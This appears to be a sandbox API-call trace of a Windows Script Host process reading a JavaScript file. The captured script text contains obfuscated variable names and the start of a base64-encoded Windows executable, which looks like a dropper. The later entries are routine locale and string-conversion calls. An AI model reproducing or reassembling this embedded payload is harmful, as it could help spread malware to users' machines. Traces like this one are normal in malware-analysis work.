[0120.237] GetVersionExA (in: lpVersionInformation=0x24ed80*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0xfde73301, dwBuildNumber=0x7fe, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x24ed80*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
[0120.237] IsTextUnicode (in: lpv=0x2380000, iSize=1284222, lpiResult=0x24ed70 | out: lpiResult=0x24ed70) returned 0
[0120.237] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2380000, cbMultiByte=1284222, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1284222
[0120.238] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2380000, cbMultiByte=1284222, lpWideCharStr=0x24c0048, cchWideChar=1284222 | out: lpWideCharStr="JizQqQTrMAEKVWncTOvBvMlqaGpWhVWKiAEoPJESMMPzTGYK = \"\" \r\nvar VUkQpTMwxIpkawJqducVRyMJKdoixmXThfBMkGUOnIrHUTrQCYVYeDsWHaFMedyKlVCuvxGXaOiJHFpqlYgZRypeneFJAIjKJhWyRwVFSyyPViPBlOaGxZsmfYHQrwWRfXAajqZoDaHTzaJEPDYmhdNkojSspENWbgkxioSupmCWSZnFPDAoXkkCKPlAYhzzNkrSpLVa\r\nvar lewuaqSOwMdlDZyrwimTCRVHmDIhhUQDhaCtnpbUxWELDNvnmzWGZCXTIpHWilhbwZDdWFEGGSVfNKDZIVuhxJdfCjlyhFmMpcPeJSRhvQAHgrGxliONqzdmwYanTGYBgJqlvZPqDNmhJWyLcnNyrZWqychlrdNprybXBVCLTYJcNwdaZOKgsZKHnzmSsdyZzwqLubJHkB\r\nJizQqQTrMAEKVWncTOvBvMlqaGpWhVWKiAEoPJESMMPzTGYK = JizQqQTrMAEKVWncTOvBvMlqaGpWhVWKiAEoPJESMMPzTGYK + \"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAuAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAADHv3nag94XiYPeF4mD3heJAMIZiYLeF4nM/B6Jh94XibX4GomC3heJUmljaIPeF4kAAAAAAAAAAFBFAABMAQMAvKIFUAAAAAAAAAAA4AAPAQsBBgAAcA0AABABAAAAAABAEgAAABAAAACADQAAAEAAABAAAAAQAAAEAAAAAQAAAAQAAAAAAAAAAJAOAAAQAABEyQ4AAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAtHENACgAAAAAsA0A0NMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAgAAIAAAAAAQAADEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAABMZQ0AABAAAABwDQAAEAAAAAAAAAAAAAAAAAAAIAAAYC5kYXRhAAAANCEAAACADQAAEAAAAIANAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAANDTAAAAsA0AAOAAAACQDQAAAAAAAAAAAAAAAABAAABAbNpbShAAAAAAAAAAAAAAAE1TVkJWTTYwLkRMTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") returned 1284222
[0120.294] UnmapViewOfFile (lpBaseAddress=0x2380000) returned 1
[0120.304] CloseHandle (hObject=0x120) returned 1
[0120.304] CloseHandle (hObject=0x11c) returned 1
[0120.304] GetSystemDirectoryA (in: lpBuffer=0x24edf8, uSize=0x0 | out: lpBuffer="") returned 0x14
[0120.304] GetSystemDirectoryA (in: lpBuffer=0x5073e0, uSize=0x15 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
[0120.304] LoadLibraryA (lpLibFileName="C:\\Windows\\system32\\advapi32.dll") returned 0x7feff2b0000
[0120.304] GetProcAddress (hModule=0x7feff2b0000, lpProcName="SaferIdentifyLevel") returned 0x7feff2ce470
[0120.304] GetProcAddress (hModule=0x7feff2b0000, lpProcName="SaferComputeTokenFromLevel") returned 0x7feff2cf9b0
[0120.304] GetProcAddress (hModule=0x7feff2b0000, lpProcName="SaferCloseLevel") returned 0x7feff2cf660
[0120.304] IdentifyCodeAuthzLevelW () returned 0x1
[0125.022] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24df70 | out: lpSystemTimeAsFileTime=0x24df70*(dwLowDateTime=0x59f92830, dwHighDateTime=0x1d3f29b))
[0125.022] GetCurrentProcessId () returned 0xaa0
[0125.022] GetCurrentThreadId () returned 0xaa4
[0125.022] GetTickCount () returned 0x276c4
[0125.022] QueryPerformanceCounter (in: lpPerformanceCount=0x24df78 | out: lpPerformanceCount=0x24df78*=596449350) returned 1
[0125.023] GetVersionExA (in: lpVersionInformation=0x24dd50*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0xf42ff810, dwBuildNumber=0x7fe, dwPlatformId=0xf42f0000, szCSDVersion="þ\x07") | out: lpVersionInformation=0x24dd50*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
[0125.023] GetUserDefaultLCID () returned 0x409
[0125.023] IsFileSupportedName () returned 0x1
[0125.023] _wcsicmp (_String1=".vbs", _String2=".js") returned 12
[0125.023] _wcsicmp (_String1=".vbe", _String2=".js") returned 12
[0125.023] _wcsicmp (_String1=".js", _String2=".js") returned 0
[0125.027] GetSignedDataMsg () returned 0x0
[0125.027] GetCurrentProcess () returned 0xffffffffffffffff
[0125.027] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x120, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x24e5b0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x24e5b0*=0x14c) returned 1
[0125.027] GetFileSize (in: hFile=0x14c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x13987e
[0125.028] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
[0125.028] ReadFile (in: hFile=0x14c, lpBuffer=0x2380040, nNumberOfBytesToRead=0x13987e, lpNumberOfBytesRead=0x24e590, lpOverlapped=0x0 | out: lpBuffer=0x2380040*, lpNumberOfBytesRead=0x24e590*=0x13987e, lpOverlapped=0x0) returned 1
[0125.046] CoInitialize (pvReserved=0x0) returned 0x1
[0125.046] CoCreateInstance (in: rclsid=0x7fef42ff850*(Data1=0x6290bd1, Data2=0x48aa, Data3=0x11d2, Data4=([0]=0x84, [1]=0x32, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef42ff860*(Data1=0xe4d1c9b0, Data2=0x46e8, Data3=0x11d4, Data4=([0]=0xa2, [1]=0xa6, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppv=0x24e500 | out: ppv=0x24e500*=0x50a860) returned 0x0
[0125.457] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24c700 | out: lpSystemTimeAsFileTime=0x24c700*(dwLowDateTime=0x5a10f5f0, dwHighDateTime=0x1d3f29b))
[0125.457] GetCurrentProcessId () returned 0xaa0
[0125.457] GetCurrentThreadId () returned 0xaa4
[0125.457] GetTickCount () returned 0x27760
[0125.457] QueryPerformanceCounter (in: lpPerformanceCount=0x24c708 | out: lpPerformanceCount=0x24c708*=597979802) returned 1
[0125.458] __dllonexit () returned 0x7fef41014c0
[0125.458] __dllonexit () returned 0x7fef41014e8
[0125.458] GetVersionExA (in: lpVersionInformation=0x24c4e0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x7fe, dwMinorVersion=0xf4102dc9, dwBuildNumber=0x7fe, dwPlatformId=0xf41014e8, szCSDVersion="þ\x07") | out: lpVersionInformation=0x24c4e0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
[0125.458] GetProcessWindowStation () returned 0x2c
[0125.458] GetUserObjectInformationA (in: hObj=0x2c, nIndex=1, pvInfo=0x24c4c8, nLength=0xc, lpnLengthNeeded=0x24c4c0 | out: pvInfo=0x24c4c8, lpnLengthNeeded=0x24c4c0) returned 1
[0125.459] DllGetClassObject (in: rclsid=0x312250*(Data1=0x6290bd1, Data2=0x48aa, Data3=0x11d2, Data4=([0]=0x84, [1]=0x32, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), riid=0x7fefe0f6cd0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x24d1d0 | out: ppv=0x24d1d0*=0x50a170) returned 0x0
[0125.459] IClassFactory:CreateInstance (in: This=0x50a170, pUnkOuter=0x0, riid=0x24dfb0*(Data1=0xe4d1c9b0, Data2=0x46e8, Data3=0x11d4, Data4=([0]=0xa2, [1]=0xa6, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppvObject=0x24d1f0 | out: ppvObject=0x24d1f0*=0x50a860) returned 0x0
[0125.459] GetSystemInfo (in: lpSystemInfo=0x24d030 | out: lpSystemInfo=0x24d030*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7fffffeffff, dwActiveProcessorMask=0x3, dwNumberOfProcessors=0x2, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03))
[0125.459] VirtualQuery (in: lpAddress=0x24d0a0, lpBuffer=0x24d060, dwLength=0x30 | out: lpBuffer=0x24d060*(BaseAddress=0x24d000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0xfffff800)) returned 0x30
[0125.460] IUnknown:AddRef (This=0x50a860) returned 0x2
[0125.460] IUnknown:Release (This=0x50a860) returned 0x1
[0125.460] IUnknown:Release (This=0x50a170) returned 0x0
[0125.460] IUnknown:QueryInterface (in: This=0x50a860, riid=0x7fef42ff860*(Data1=0xe4d1c9b0, Data2=0x46e8, Data3=0x11d4, Data4=([0]=0xa2, [1]=0xa6, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppvObject=0x24e438 | out: ppvObject=0x24e438*=0x50a860) returned 0x0
[0125.460] IUnknown:Release (This=0x50a860) returned 0x1
[0125.460] _strnicmp (_Str1="?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뿏\x02Ā") returned 256
[0147.006] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뿏\x02Ā", cchSrc=256, lpCharType=0x18f64c | out: lpCharType=0x18f64c) returned 1
[0147.006] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc4c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
[0147.006] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc4c, cbMultiByte=256, lpWideCharStr=0x18f388, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ켵\x02Ā") returned 256
[0147.006] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0
[0147.006] GetLastError () returned 0x57
[0147.006] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x0) returned 0x0
[0147.007] GetProcAddress (hModule=0x75fd0000, lpProcName="LCMapStringEx") returned 0x760647f1
[0147.007] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ켵\x02Ā", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256
[0147.007] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ켵\x02Ā", cchSrc=256, lpDestStr=0x18f178, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256
[0147.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x18fb4c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿCRHv\x88ý\x18", lpUsedDefaultChar=0x0) returned 256
[0147.007] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc4c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
[0147.007] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc4c, cbMultiByte=256, lpWideCharStr=0x18f3a8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
[0147.007] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256
